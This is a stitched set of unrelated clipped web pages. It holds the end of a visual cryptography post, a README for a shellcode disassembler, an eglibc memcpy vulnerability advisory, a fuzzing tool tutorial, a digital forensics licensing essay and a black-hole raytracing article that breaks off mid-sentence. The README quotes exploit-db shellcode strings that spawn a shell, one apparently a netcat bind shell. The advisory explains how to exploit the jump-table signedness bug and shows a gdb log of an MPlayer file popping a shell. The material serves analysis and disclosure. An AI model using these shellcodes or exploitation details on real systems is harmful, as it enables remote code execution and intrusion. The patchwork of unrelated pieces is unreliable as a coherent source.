word ‘Fish’, similarly encoded**.** Now, drag the right image over to the left
image and watch what happens when they overlap perfectly**.** Wham\! How cool
is that**?**

### How does this magic work?

The hidden image we are encoding has black pixels and white pixels**.** As
before, we sub divide each pixel into _\(2 x 2\)_ subpixels**.** When the two
images are combined, we want to represent the black pixels of the hidden image
by having all four subpixels black**.** We’ll represent the white pixels has
having three subpixels black**.** This is sufficient contrast for the hidden
image to be seen**.**

For each black or white pixel in the hidden image, there are four possible
combinations of black and white pixels of the two source images**.** For the
two source images, we’re going to say that any three black subpixels
represents black in that source image, and any two pixels represents
white**.**

Examples of all eight permutations of _source_ , _image 1_ and _image 2_ are
depicted below:

<img src='img/Temp2_8937.png' />

_When the hidden image pixel is**BLACK** :_

  * The combined two cypher images \(OR\) have to have all four subpixels set**.**
  * When both source images also have a black pixel, this is easy**.** Both cypher images need to have three out of the four subpixels set**.** The only constraint is that the missing subpixel is not the same on both layers**.** One subpixel is randomly selected on the first layer, and one is randomly select from the other three on the second layer**.**
  * When the first image has a black pixel \(requiring three subpixels set\), and the second image has a white pixel \(requiring two subpixels set\), as above, first, a random single subpixel is selected on the black layer to remove**.** Next two subpixels are randomly selected on the second layer with the constraint that one of the selected subpixels is the same as the gap in the first layer**.** In this way, when the two are combined, four black subpixels are displayed**.**
  * The opposite happens when the first layer is white, and the second layer is black**.**
  * Finally, if both source pixels are white \(requiring just two subpixels set\), two subpixels are selected at random on the first layer, and the inverse of this selection used for the second layer**.**

_When the hidden image pixel is**WHITE** :_

  * The combined two cypher images \(OR\) have to have any three subpixels set**.**
  * When both source images have a black pixel, this is easy**.** Both cypher images need to have three out of the four subpixels set, and these need to be the same subpixels**.** Three subpixels are randomly selected and these are set on both of the cypher image layers**.**
  * When the first image has a black pixel \(requiring three subpixels set\), and the second image has a white pixel \(requiring two subpixels set\), as above, first, three random subpixels are selected on the first layer**.** Next one of these three subpixels is randomly selected for removal and this pattern is used on the second layer**.**
  * The opposite happens when the first layer is white, and the second layer is black**.**
  * Finally, if both source pixels are white \(requiring two subpixels set\), two are selected at random on the first layer, then one of these is duplicated on the second layer, and a second random subpixel is selected on the second layer \(from the two white subpixels _not_ selected on the first layer\)**.** Both layers have two subpixels, and when combined, there are three subpixels visbile**.**

### Other potential uses of the concept****

The ability to give an answer, and potentially mask a true answer to a
question, tangentially, reminds me of a technique used to get truthful
representations in surveys where the subject is potentially embarrassing or
where there is incentive to not give a truthful answer**.**

<img src='img/Temp2_8936.png' />|  Imagine you are conducting a survey with
the aim of measuring certain characteristics of your audience, and the subject
of some of the questions is sensitive \(for example, questions about political
preference, sexual orientation, whether you have committed fraud, or cheated,
or made a mistake that has cost your company thousands of dollars\)**.**
People might have a motivation to give a non-truthful answers, possible from
embarrassment, peer pressure, or fear**.** Also, paranoid people might not
want to give truthful answers for fear that, even if the survey is anonymous,
answers to _other_ questions might be enough to allow an individual to be
distinctly identified and thus his answers to the sensitive questions
determined**.**  
---|---  
The solution**?** Give the people taking your questionnaire a coin. When the question appears _e**.** g. “Have you ever made a mistake that has cost your company thousands of dollars**?** ”_, ask the subject to flip a coin. If the coin comes up **HEADS** , tell the person to answer the question truthfully**.** If the coin comes up **TAILS** , tell the person to flip the coin again and if the coin lands **HEADS** to answer _”Yes”_ and if the second flip comes up **TAILS** to answer the question _”No”_**.** | <img src='img/Temp2_8945.png' />  
---|---  
Any person looking at the survey results and seeing a _”Yes”_ on an answer
will not know if any single person's answer is truthful, or the result of a
coin flip**.** Any person can be free of embarrassment as none of his/her
peers will know either**.**

<img src='img/Temp2_8941.png' />|  The law of large numbers, however, will
allow a good estimate of the number of people _" Who have made a costly
mistake"_, because you’d be able to subtract the number of expected fake
_”Yes”_ answers, then scale up the remainder of the answers**.**  
---|---  
### Other articles related to this topic****

If you liked this article, you might also like this article about
Steganography , and this one about Sharing Secrets **.**

Check out other interesting blog <img src='img/Temp2_8942.png' />articles
here**.**

****

# hasherezade/shellconv

**Created:**| _5/15/2015 10:24:31 AM_  
---|---  
**Updated:**| _5/15/2015 10:24:31 AM_  
**Author:**| __  
**Tags:**| _shellcode Debugging_  
  

# shellconv

Small tool for disassembling shellcode \(using objdump\)

[code]

    Use: ./shellconv.py [inFile] [arch:optional] [outFile:optional]
    arch: defined as in objdump -m, default: i386
    
[/code]

* * *
**DISCLAIMER**  
This tool is intended to be minimalistic.  
It may not give proper results in case of complicated/obfuscated shellcode. In
such cases, please refer to tools of appropriate complexity.  
_If you still think, that I should develop this tool further, and make it a
fully-fledged app, feel free to write me an e-mail :\) \[hasherezade-at-
op.pl\]_

* * *
##  examples:

1\) https://www.exploit-db.com/exploits/36921/  
expdb1.shc :

[code]

    "\x31\xc0\x31\xd2\x50\x68\x37\x37\x37\x31\x68\x2d\x76\x70\x31\x89\xe6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80";
    
[/code]

<img src='img/Temp2_10300.png' />

  
  
2\) https://www.exploit-db.com/exploits/36858/  
expdb1\_64.shc :

[code]

      char *shellcode =3D "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56=
    \x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05";
    
[/code]

<img src='img/Temp2_10301.png' />

# Clip: http://www.nodefense.org/eglibc.txt

**Created:**| _7/18/2011 2:52:58 PM_  
---|---  
**Updated:**| _7/18/2011 2:52:58 PM_  
**Author:**| __  
**Tags:**| _attacks Linux_  
  

[code]

    A delicious, yet slightly cold banquette prepared on the (jump)table
    ====================================================================
    
    
    Quick and dirty *advisory* to share some goodies since I haven't posted something for a couple of months due to being busy with family liphe :-( :-)
    
    On the 24th of February 2010 a patch was provided to the main Glibc tree which added optimisation support for 64 bit processors by adding unsigned conditional jumps to support > 2GB data sizes. 
    
    The following timelines were discovered:
    
    Glibc source code:
    Vulnerable ssse3 support added -> http://sourceware.org/git/?p=glibc.git;a=commit;h=3af48cbdfaeb8bc389de1caeb33bc29811da80e8
    Vulnerable ssse3 support fixed -> http://sourceware.org/git/?p=glibc.git;a=commit;h=a0ac24d98ace90d1ccba6a2f3e7d55600f2fdb6e
    
    eGlibc source code:
    Vulnerable ssse3 support added -> http://www.eglibc.org/cgi-bin/viewcvs.cgi?rev=9649&view=rev
    Vulnerable ssse3 support fixed -> http://www.eglibc.org/cgi-bin/viewcvs.cgi?rev=10032&view=rev
    
    This patch introduced a signedness bug causing any program compiled against the vulnerable version of eglibc and using optimised functions such as memcpy_ssse3 and memcpy-ssse3-back to be potentially vulnerable to unexpected code execution. If an attacker could control the length parameter supplied to memcpy, it may be possible to cause the application to execute user controllable code. This has been verified and tested on a fully patched and up to date installation of Ubuntu 10.4 LTS against various applications.
    
    When this is the case, an attacker controllable length value is used to calculate the jump table pointer index in the optimized copy function. Setting the length value to a negative number will cause a jmp instruction to be skipped due to an signedness vulnerbility, resulting in attacker supplied value being used to calculate the location of a jump table function, resulting in malicious code execution.
    
    The following is the vulnerable assembly code used to trigger this bug:
    
    Dump of assembler code for function __memcpy_ssse3:
       0x00562000 <+0>:     push   %ebx
       0x00562001 <+1>:     mov    0x10(%esp),%ecx
       0x00562005 <+5>:     mov    0xc(%esp),%eax
       0x00562009 <+9>:     mov    0x8(%esp),%edx
    
    if the value in $ecx is a signed int above or equal to 0x30
       0x0056200d <+13>:    cmp    $0x30,%ecx
    
    we will take the following jump and the fun ends however since I supply a value of 0xbfff20d4 (or something similar) it will be over 2 gig and as such, negative in value, jump is skipped
       0x00562010 <+16>:    jge    0x562040 <__memcpy_ssse3+64>
    
    dl isn't less than al
       0x00562012 <+18>:    cmp    %dl,%al
    
    so this is skipped   
       0x00562014 <+20>:    jl     0x56202a <__memcpy_ssse3+42>
       0x00562016 <+22>:    add    %ecx,%edx
       0x00562018 <+24>:    add    %ecx,%eax
       0x0056201a <+26>:    call   0x468a0f <__i686.get_pc_thunk.bx>
    
    the location to the jump table is stored in $ebx
       0x0056201f <+31>:    add    $0x2a591,%ebx
    
    get the offset to the jump table entry, attacker controls ecx
       0x00562025 <+37>:    add    (%ebx,%ecx,4),%ebx
    
    execute the instruction at $ebx, calculated using user supplied value ;)
       0x00562028 <+40>:    jmp    *%ebx
    
    There are no hard coded addresses needed for exploitation to succeed, allowing for the defeat of ASLR protection. 
    
    The nature of this bug means that lots of applications were/are vulnerable; a POC was developed by me exploiting MPlayer to provide a remote shell. The following is the vulnerability during runtime showing the execution of a shell by playing a malicious wmv file in MPlayer:
    
    (gdb) r ~/Desktop/expl.wmv 
    Starting program: /usr/bin/mplayer ~/Desktop/expl.wmv
    [Thread debugging using libthread_db enabled]
    
    MPlayer SVN-r1.0~rc3+svn20090426-4.4.3 (C) 2000-2009 MPlayer Team
    mplayer: could not connect to socket
    mplayer: No such file or directory
    Failed to open LIRC support. You will not be able to use your remote control.
    
    Playing /home/user/Desktop/expl.wmv.
    ASF file format detected.
    [asfheader] Audio stream found, -aid 97
    process 17760 is executing new program: /bin/dash
    $
    Program exited normally.
    (gdb) q
    
    Also works remotely and was caused due to an unchecked return value from calloc, just before a call to memcpy allowing control of the jump table index pointer - w00t!
    
    The following code can be used to verify if your system is vulnerable:
    
    Example code that can be used to test for this vulnerability:
    #include <stdlib.h>
    #include <string.h>
    int main(int argc, char **argv)
    {
            char * buf = NULL;
            puts("Usage: ./test A 3492348247\n");
            memcpy(buf, argv[1], atoi(argv[2]));
            return 0;
    }
    
    I tested this issue on the latest version of Fedora, Suse, Slackware, FreeBSD, Ubuntu 10.10 and 10.4 LTS. Ubuntu 10.10 is patched but Ubuntu 10.4, which is the long term support version that every production server and most personal desktops / laptops runs, is vulnerable.
    
    A fix was provided by eglibc at the following location:
    http://www.eglibc.org/cgi-bin/viewcvs.cgi/fsf/trunk/libc/sysdeps/i386/i686/multiarch/memcpy-ssse3.S?rev=9649&view=markup
    
    This *fix* appears to be a patch that was submitted as an improvement for performance issues and not as a security fix hence no security backport. There is no supplied patch for Ubuntu 10.4 LTS 32bit and being the case, it is recommended that all users of Ubuntu 10.4 32bit upgrade or ensure that applications ran do not use the vulnerable optimalicious functions.
    
    Ubuntu were contacted on 2 seperate occassions; First I went on to the IRC channel asking for advice and was told nobody there could help, so I emailed the security list or what ever their site provides to report issues and the guy who exchanged 3 or 4 emails with me made out that it was my responsibility to patch the bug as the code was part of the global code base and not part of the community source (sorry, I don't have a clue what that means nor can I remember the exact wordings as it was 5 months ago) Anyway, I gave the guy full opportunity to work with me to solve the issue and after 5 months heard nothing more from him or anyone else. Take from that what you will :)
    
    I believe in keeping useful 0day totally private (for a while :) 1.5 years is long time to have this bug around right :p) though I also believe the world is a pretty misserable place and so happily provide free cheer and joy randomly - as such, may these lulz with you be, and find you in good cheer on this fine Monday morning.
    
    cheers, c0ntex
    
    Email: c0ntexb@gmail.com
    
    
    
[/code]

# Dataflow Tutorial | Artem Blagodarenko
**Created:**| _7/15/2010 8:47:37 PM_  
---|---  
**Updated:**| _7/15/2010 8:48:04 PM_  
**Author:**| __  
**Tags:**| _reversing Fuzzer Graphs Tutorials_  
  

# Dataflow Tutorial

July 14th, 2010 · artem · MaiWay No comments\- Tags: CFG, dynamic analysis,
fuzzing, static analysis

This post is also available in: Russian

#### 0.Installation

  1. Download dataflow-0.1.0.zip archive
  2. Unpack it anywhere \(c:/temp, for example \)

#### 1.Configuration

  1. Rename dataflow.cfg.example to dataflow.cfg
  2. If the tool is unpacked to a directory other than c:/temp, change the path in dataflow.cfg

#### 2.Start

Launch DataflowManager.exe binary. Smile icon should appear in the tray.

Open cmd.exe. Go to c:/temp \(or another installation directory\)

> cd c:/temp  
> c:
Start example program analysis \(FunctionsTest.exe\).

> _Dataflow.exe FunctionsTest.exe_
FunctionsTest.exe binary is compiled by cl from source code listed below:

> _\#include_ _ <stdio.h>_  
>  
> _\#include_ _“stdafx.h”_  
>  _int_ _foo5\( void \)_  
> _\{_  
> _printf\( “foo5\n” \);_  
> _return 0;_  
> _\}_  
>  
> _int_ _foo6\( void \)_  
> _\{_  
> _printf\( “foo6\n” \);_  
> _return 0;_  
> _\}_  
>  
> _int_ _foo4\( void \)_  
> _\{_  
> _printf\( “foo4\n” \);_  
> _return 0;_  
> _\}_  
>  
> _int_ _foo3\( void \)_  
> _\{_  
> _printf\( “foo3\n” \);_  
> _foo6\(\);_  
> _return 0;_  
> _\}_  
>  
> _int_ _foo2\( void \)_  
> _\{_  
> _printf\( “foo2\n” \);_  
> _foo4\(\);_  
> _foo5\(\);_  
> _return 0;_  
> _\}_  
>  
> _int_ _foo1\( void \)_  
> _\{_  
> _printf\( “foo1\n” \);_  
> _foo2\(\);_  
> _foo3\(\);_  
> _return 0;_  
> _\}_  
>  
> _int_ _main\(int argc, char\* argv\[\]\)_  
> _\{_  
> _printf\( “main\n” \);_  
> _foo1\(\);_  
> _getchar\(\);_  
> _return_ _0;_  
> _\}_
After start the utility stops on getchar\(\) operator

<img src='img/Temp2_1974.jpg' width='660' height='386' />

Program is still running.

Utility analysis data can be requested using control utility.

<img src='img/Temp2_1978.jpg' width='246' height='117' />

Debug information should appear in tool console. Two matrixes are dumped:
reachability and connectivity matrixes.

<img src='img/Temp2_1975.jpg' width='497' height='637' />

FunctionsTest.exe static and dynamic analysis data is stored in
FunctionsTest.exe \[time date\] \(PID\) disk directory.

<img src='img/Temp2_1973.jpg' />

Analysis data can be requested any time. Data is stored in a separate
directory with name containing request number.

<img src='img/Temp2_1972.jpg' />

Each directory contains two files.

<img src='img/Temp2_1970.jpg' />

Functionstest.exe\_boundle.gdl file contains analyzed binaries information:
executable modules, function call graphs, function CFG, code coverage data.

Functionstest.exe\_fuzzing.gdl file contains functions rating related to
fuzzing.

Let’s explore functionstest.exe\_boundle.gdl file in detail. The file contains
description in GDL language format. It can be opened by aiSee
\(www.aiSee.com\). Let’s open functionstest.exe\_boundle.gdl file with aiSee
utility \(it is useful to associate .gdl extension with aiSee\). The higher
level information is displayed. Choose block and press “I” key. Module
information is displayed.

<img src='img/Temp2_1987.jpg' />

_Module code size_ – number of program code bytes \(only modules from
dataflow.cfg are taken into account\). The value calculated as module’s
executable sections size sum.

_Reached code size_ – code bytes amount achieved during static analysis \(by
functions calls\). Only modules form dataflow.cfg are taken in account.

_Covered code size_ – code bytes amount that were executed during dynamic
analysis. Only modules form dataflow.cfg are taken in account.

Unfold  _Program:functionstest.exe_ block to get more detailed information.
Choose block and press “b” key. \(Unfold\).

<img src='img/Temp2_1986.jpg' />

The scheme changed to module level visualization. Four modules have been
loaded during program execution: msvcr100.dll, kernel32.dll, ntdll.dll,
functionstest.exe. File path checksums were added to modules names to prevent
name collisions. Zoomed graph parts are shown below.

<img src='img/Temp2_1989.jpg' /><img src='img/Temp2_1988.jpg' />

Analyzed modules \(whitch were listed in dataflow.cfg\) are highlighted with
yellow. Only functionstest.exe module interests us. Other modules have not
been analyzed and are marked with gray. Choose module block and press “I” to
get module information.

<img src='img/Temp2_1976.jpg' />

Module information is given: full image path, base address, executable code
statistic. Felds have same meaning as in program descripting. Fields values
for module are the same because only one module was analyzed.  _Reached code
size_ and  _Covered code size_ fields are absent for modules which were not
analyzed \(filled with grey color\).

The next detail level is module’s functions. Choose functionstest.exe module
block and press “X” key \(Exclusive subgraph\). Then press “M” key \(Fit to
Window\). Now module call graph is shown.

<img src='img/Temp2_1979.jpg' />

Let’s explore picture parts. Central part contains EntryPoint function –
module entry point.

<img src='img/Temp2_1981.jpg' />

Right graph part contains program’s initialization code functions.

<img src='img/Temp2_1984.jpg' />

Finally, left part contains functions from source code listed above.

<img src='img/Temp2_1982.jpg' />

Functions that were executed are highlighted with yellow. Functions that were
not executed are colored with white.

Next detail level – function code. Choose  _functionstest.exe\!sub\_16E9_
block and press “b” key \(unfold to box\). Function code blocks are shown.

<img src='img/Temp2_1969.jpg' />

We chose  _functionstest.exe\!sub\_16E9_ automatically generated function
because it contains many code blocks and gives good illustration. Functions
from source code are more trivial.

<img src='img/Temp2_1980.jpg' />

Thus, we can explore any program parts moving through detail levels. The
following keys are used:

”b” – unfold to block

“f” – fold block

“x” – exclusive subgraph

“Shift+X” – fold subgraph

Finally, let’s see the whole unfolded program graph.

<img src='img/Temp2_1971.jpg' />

Let’sexplore functionstest.exe\_fuzzing.gdl file in details. File contains
information useful for fuzzing entry point choosing. Open file in aiSee.
Program detail level is shown. Nothing changed from this detail level from
functionstest.exe\_fuzzing.gdl. Modules detail level is the same too.

Changes appear in functions detail level. Functions rating related to fuzzing
shown here instead functions call graph. Functions are sorted by rating
increase from left to right. Function is more rated if more functions can be
reached from it. Three most rated functionstest.exe module functions are shown
below.

<img src='img/Temp2_1985.jpg' />

_Module code size,_  _Reached code size_ and  _Covered code_ fields relate to
function’s module. They are shown to compare them with fuzzing potential
reached code size.

_Fuzzing potential reached code size_ field __ indicates __ maximum code
amount that can be covered during fuzzing from this function.

Graphical view is also available for reached code. Choose
functionstest.exe\!EntryPoint function in rating and press “b” button.
Functions calls graph are shown. It looks like functions calls graph from
functionstest.exe\_boundle.gdl .

<img src='img/Temp2_1977.jpg' />

Borders of functions that can be covered from the selected point are colored
by red. All borders in graph are red because module’s entry function is
selected \(functionstest.exe\!EntryPoint\). Functions from source code listed
above and auto generated code can be covered from this point. Let’s shift to
less rated function \(functionstest.exe\!sub\_10A0\).

<img src='img/Temp2_1968.jpg' />

Fewer functions from graph can be reached from this point, but automatic
generated code is excluded. All functions form source code listed above can be
reached.

<img src='img/Temp2_1983.jpg' />

# The Future of Digital Forensics « SANS Computer Forensics, Investigation,
and Response

**Created:**| _5/8/2009 8:07:03 PM_  
---|---  
**Updated:**| _5/8/2009 8:08:04 PM_  
**Author:**| __  
**Tags:**| _Forensics_  
  

## The Future of Digital Forensics

### by Ryan Johnson

Looking around the field of Digital Forensics today, there are a number of
states enacting legislation requiring Digital Forensic Practitioners to be
licensed by or at least regulated by the bureaucracies that regulate Private
Investigators. It’s unfortunate but not surprising. Many blogs have been
written about it; many people in the Digital Forensics field have complained
about it. Nevada has a bill pending, AB 490, that “revises certain
qualifications for the licensure of private investigators,” so that applicants
can include digital forensics experience in license applications. The PI
licensing requirement issue is still being legislated in Texas. There are
other states, almost weekly having discussions about doing the same thing.
Thankfully, there are those states who see this as a silly thing to do and
recognize that the benefits that they wish to attain by licensing in this
manner, will not be attained. The truth of the matter is that it could do much
more harm than good.

My home territory for my Digital Forensics practice is North Carolina. Two
weeks ago, a bill appeared before the North Carolina Senate Judiciary
committee that sought to license Digital Forensics under the Private
Protective Services Board \(PPSB\). The way this bill was written would
essentially have made it possible for the PPSB to set minimum criteria for
practitioner-applicants. It would have allowed them to decide what training
was “approved” for North Carolina and in fact, would have given them the
capability to approve or not approve instructors\! While aggravating, that
issue was not the biggest opposition that I had to the bill. The real issue in
North Carolina, as I believe it is in other states considering this type of
legislation, is that there it makes no sense for PI boards to regulate an
accredited forensic science. Do the PI boards regulate DNA labs? Do they
regulate forensic accountants? What about forensic anthropologists? The list,
as you can imagine, is long.

## **What is it about our field that they feel they have the right to try to
cherry-pick our discipline of forensic science for oversight under their
umbrella****?**

Well, there are several factors:

1\. They think that there is an excess of individuals marketing themselves as
“Computer Forensics Examiners” who don’t have the requisite skills, background
and training. A number of the “reported events” are generated from PIs who are
venturing into the field of forensics as a value-added service to clients.
These PIs who are doing this have a vested interest in tightening the market
by restricting this forensic function to those that carry PI licenses. Since
most Digital Forensics practitioners don’t have the background to obtain a PI
license, they would essentially be dismissed from practicing in these
individual states.

2\. There is a lack of understanding of what it is that professionals in our
field actually do. Who’s at fault for that? We are\! Those that practice in
our field have not adequately communicated that what we do is a forensic
science, not an “investigative” service.

3\. We are too many disparate groups with no nationally unifying body. Boiling
it down: WE ARE NOT ORGANIZED. I hear the same tired arguments coming from the
PI lobby over and over again. “ _There needs to be oversight on Digital
Forensics so that the public trust can be protected_.” If we are not going to
do this ourselves, others will be more than happy to do it for us. I can’t see
any reason why PI boards would refuse a larger membership – regardless of the
capability to really protect the public from ”bad-apples.”

Thankfully, during the last meeting the North Carolina Senate Judiciary
committee saw the flaws in PPSB’s reasoning and I was able to convince one
Senator to offer an amendment to the bill that stripped out the language that
would have put Digital Forensics under the PPSB.

## **How did this happen?**

I expressed to the Senators on the committee that the PI board was not the
right place for our oversight. As a Digital Forensics practitioner, I have
absolutely no issues with oversight and accreditation; I just want it to be by
peers who actually understand the field of science\! During my testimony, I
expressed that there was already a “consortium” of bodies that represent our
field who are trying to come together to provide a national set of minimum
standards. A harmonized code of ethics, a unified grievance procedure and a
compendium of recognized certifications. Most of us already belong to one or
more of these organizations. Some of the bodies that are participating in this
process \(currently referred to as CDFS: The Council of Digital Forensic
Specialists\) include many of the current market leaders in this field. They
are involved in discussions on how to provide the oversight that many states
want to force on us through the PI boards and in less than a year they have
made many significant steps….but there needs to be more.

The associations included in the Council of Digital Forensics Specialists
currently include:

  * **Association of Litigation Support Professionals \(ALSP\)  
**

  * **Champlain College Center for Digital Investigation \(C3DI\)  
**

  * **Computer Technology Investigators Network \(CTIN\)  
**

  * **Digital Computer Forensics Board \(DCFB\)  
**

  * **Florida Association of Computer Crime Investigators \(FACCI\)  
**

  * **High Tech Crime Consortium \(HTCC\)  
**

  * **High Tech Crime Network \(HTCN\)  
**

  * **High Technology Crime Investigation Association \(HTCIA\)  
**

  * **International Information Systems Forensics Association \(IISFA\)  
**

  * **International Society of Forensic Computer Examiners \(ISFCE\)  
**

  * **Law Enforcement and Emergency Services Video Association \(LEVA\)  
**

  * **SANS \(SysAdmin, Audit, Network, Security\) Institute \(SANS\)  
**

  * **Wisconsin Association of Computer Crime Investigators \(West\) \(WACCI\)  
**

  * **Women in eDiscovery \(WIED\)**

## **So, what can we do to stop the trend of PI-based requirements
elsewhere?**

We can bind together and suggest to those we pay our membership dues to or to
those we pay for our certifications, that THEY need to move toward creating a
national accrediting body. For those organizations who have expressed interest
in this body, I suggest that they have to move FASTER. For those noticeably
absent from the above list, we need to tell them to get on board\! I am not
saying that we need to only have ONE certification. I am not saying that ALL
of the individual policies of the member groups have to be the same. I am not
advocating for the dissolution of member organizations in the goal of creating
one giant organization. What I am saying is that the member organizations
pretty much play by the same rules. We have similar minimum standards. We have
similar codes of ethics. We recognize that there are plenty of certifications
available in our field and that they all have a place in our discipline. First
things first: _**we need to get all organizations to agree to the NEED to
adhere to a universal minimum standard.**_

Then, we need to get a consensus on:

1\. Minimum Standards for Practice

2\. A UNIFIED Code of Ethics

3\. Unified Grievance Procedures – with REAL penalties for violations

4\. A list of recognized certifications

_**So if it makes sense, what’s the hold up?**_ An EXCELLENT question\! The
truth is that an undertaking like this is not without its difficulties. Not
the first of which is that most folks on the executive committees from member
groups, have day jobs. They perform administrative tasks for their
organizations in their “free time”. Thus, creating a governing body is an
addition of labor and responsibilities to their already full plates. The
second is a little bit of protectionism. Individual groups rightly want to
protect their revenue streams. I don’t think anyone begrudges that. But the
truth is that getting this off the ground doesn’t require as much work as most
people think and there doesn’t have to be a dramatic affect to revenue
streams. Let’s face it, if the executives know that it is the will of their
membership to push for a national body, then I think they will listen. After
all, no one wants to be left behind if all the other representative bodies
participate\!

## **So what am I asking**?

**First:** call or email those on the boards of directors for the Digital
Forensics groups you belong to. In most, if not all cases, you pay to attain
and keep your certification. The move toward a national body is very important
to our field. It happens in every ‘new’ field after a certain amount of time –
it’s our turn now.

**S****econd:** watch what your state is doing in terms of regulating Digital
Forensics. Your’s wouldn’t be the first state to wake up one day and find
their jobs packaged neatly under the PI statutes\! If your state is
considering regulating Digital Forensics under the PI regulatory body, don’t
sit idly by while it passes, tell your Senators and Representatives that it
makes more sense for us to regulate ourselves. Tell everyone who practices in
your state what’s going on. It is common that this type of legislation is a
result of “agency bills”. These bills don’t necessarily get the appropriate
amount of scrutiny. If you are not there to point out the errors, who will?
But there is also a PREEMPTIVE way to fight this.

## **What is my vision?**

I envision simple laws that work to protect the public interest and allow us
to grow as a cohesive unit. Imagine a law in YOUR state that says that you are
free to practice, if you maintain accreditation from a national organization
that represents our field. Wow…..being regulated by those that UNDERSTAND what
we do\! It’s a revolutionary idea, I know\! And what if we could get ALL
states to agree that this is the best solution?\!?\! What? Reciprocity?
Wow…another revolutionary idea\! Digital evidence is not constrained by state
lines, so doesn’t it make sense that accredited professionals in our field are
also not constrained by state lines? Add to that, the fact that digital
evidence is not constrained by Country borders and in and of itself it shows
that this accrediting body needs to also consider expanding beyond the United
States and become an International Organization. Rob Lee from SANS, Toby
Finnie from HTCC and Jody Westby from Global Cyber Risk and others have been
working tirelessly to get everyone organized and achieve this end goal. We
can’t make this happen on our own. We were successful in getting a reprieve in
North Carolina while we develop a “governing body”. There are several other
states that were successful in doing the same thing. We can spread the effect
if we come together.

It’s finally time to start looking after ourselves as a group, instead of
several smaller groups of individuals.

**It’s power in numbers.**

**It’s necessary.**

**It’s beneficial to ALL practitioners.**

**And with your help, we can make it happen.**

# Raytracing in Curved Space-Time

**Created:**| _12/7/2011 9:52:57 AM_  
---|---  
**Updated:**| _12/7/2011 9:52:57 AM_  
**Author:**| __  
**Tags:**| _programming Opengl_  
  

# Ray Tracing in Curved Space Time

An example of a HPC task is to calculate the trajectories of photons near a
black hole. The extreme physics means that they no longer travel in straight
lines due to the curvature of space-time. So object near a black hole will be
gravitationally lensed, when viewed from afar. Here, we will investigate how
to calculate the observed shape of a thin disk surrounding the hole. Having a
thin disk around a black hole isn't too outlandish. When gas orbits around a
black hole, the conservation of angular momentum means that friction forces
will eventually convert it into an "accretion disk". In common situations,
that disk will be thin compared to its extent. Astronomers using telescopes to
observe such systems need to understand their results, so having a theoretical
model of what the simplest possible case will produce is quite helpful. The
first step is to model the rays of light as they travel. The problem here is
that gravity curves space-time near a black hole. Using simple geometry to
calculate intersections no longer is possible. \(You might be able to describe
the trajectories in terms of elliptic functions... but that doesn't help all
that much for more complex problems.\) Instead, we can describe the motion of
the photon as a set of coupled differential equations in Boyer-Lindquist
Coordinates:

[code]

    /* Coupled differential equations describing motion of photon */
    static void geodesic(double *y, double *dydx)
    {
    	double r, theta, pr, ptheta;
    
    	r = y[0];
    	theta = y[1];
    	pr = y[4];
    	ptheta = y[5];
    
    	double r2 = r*r;
    	double twor = 2.0*r;
    
    	double sintheta, costheta;
    	sincos(theta, &sintheta, &costheta);
    	double cos2 = costheta*costheta;
    	double sin2 = sintheta*sintheta;
    
    	double sigma = r2+a2*cos2;
    	double delta = r2-twor+a2;
    	double sd = sigma*delta;
    	double siginv = 1.0/sigma;
    	double bot = 1.0/sd;
    
    	/* Prevent problems with the axis */
    	if (sintheta < 1e-8)
    	{
    		sintheta = 1e-8;
    		sin2 = 1e-16;
    	}
    
    	dydx[0] = -pr*delta*siginv;
    	dydx[1] = -ptheta*siginv;
    	dydx[2] = -(twor*a+(sigma-twor)*L/sin2)*bot;
    	dydx[3] = -(1.0+(twor*(r2+a2)-twor*a*L)*bot);
    	dydx[4] = -(((r-1.0)*(-kappa)+twor*(r2+a2)-2.0*a*L)*bot-2.0*pr*pr*(r-1.0)*siginv);
    	dydx[5] = -sintheta*costheta*(L*L/(sin2*sin2)-a2)*siginv;
    }
    
[/code]

Where we have used some constants of the motion to simplify things a bit: `L`,
for the angular momentum in the phi direction. `kappa`, for the something
related to "Carters Constant", which in turn is related to the angular
momentum in the theta direction. And finally we have set the energy at
infinity of the photon to unity to normalize. The resulting math isn't too
complex. The only thing to worry about is if a photon gets too close to the
rotational axis of the black hole. If it does, our coordinate system becomes
degenerate, and we need to worry a bit about divisions by zero. \(The same
problem happens when you are at the north pole and want to know which
longitude you are at...\) To start the photons off, we need some initial
conditions:

[code]

    /* Initial Conditions for Ray */
    static void initial(double *y0, double *ydot0, double x, double y)
    {
    	y0[0] = r0;
    	y0[1] = theta0;
    	y0[2] = 0;
    	y0[3] = 0;
    	y0[4] = cos(y)*cos(x);
    	y0[5] = sin(y)/r0;
    
    	double sintheta, costheta;
    	sincos(theta0, &sintheta, &costheta);
    	double cos2 = costheta*costheta;
    	double sin2 = sintheta*sintheta;
    
    	double rdot0 = y0[4];
    	double thetadot0 = y0[5];
    
    	double r2 = r0 * r0;
    	double sigma = r2 + a2*cos2;
    	double delta = r2 - 2.0 * r0 + a2;
    	double s1 = sigma - 2.0 * r0;
    
    	y0[4]= rdot0*sigma/delta;
    	y0[5]= thetadot0*sigma;
    
    	ydot0[0] = rdot0;
    	ydot0[1] = thetadot0;
    	ydot0[2] = cos(y)*sin(x)/(r0*sin(theta0));
    
    	double phidot0 = ydot0[2];
    	double energy2 = s1*(rdot0*rdot0/delta+thetadot0*thetadot0)
    					+ delta*sin2*phidot0*phidot0;
    
    	double energy = sqrt(energy2);
    
    	/* Rescale */
    	y0[4] = y0[4]/energy;
    	y0[5] = y0[5]/energy;
    
    	/* Angular Momentum with E = 1 */
    	L = ((sigma*delta*phidot0-2.0*a*r0*energy)*sin2/s1)/energy;
    
    	kappa = y0[5]*y0[5]+a2*sin2+L*L/sin2;
    
    	/* Hack - make sure everything is normalized correctly by a call to geodesic */
    	geodesic(y0, ydot0);
    }
    
[/code]

Where we have an observer at some distant location described by r0,theta0
looking back at the disk. The photons are parameterized by x, y in the "view
port" of the observer. By scanning over x and y, we can build up an image once
we know where each photon goes. Now that we have the math out of the way, the
next step is to worry about calculating the motion. Since we have a set of
coupled ordinary differential equations, we use a Runge-Kutta algorithm for
this. It numerically solves the equations, giving us the position and
direction of the photon at discrete points along its path. The R-K algorithm
will dynamically tune the sizes of the steps it takes in order to maintain
error within some given tolerance. We take a standard R-K routine, and rewrite
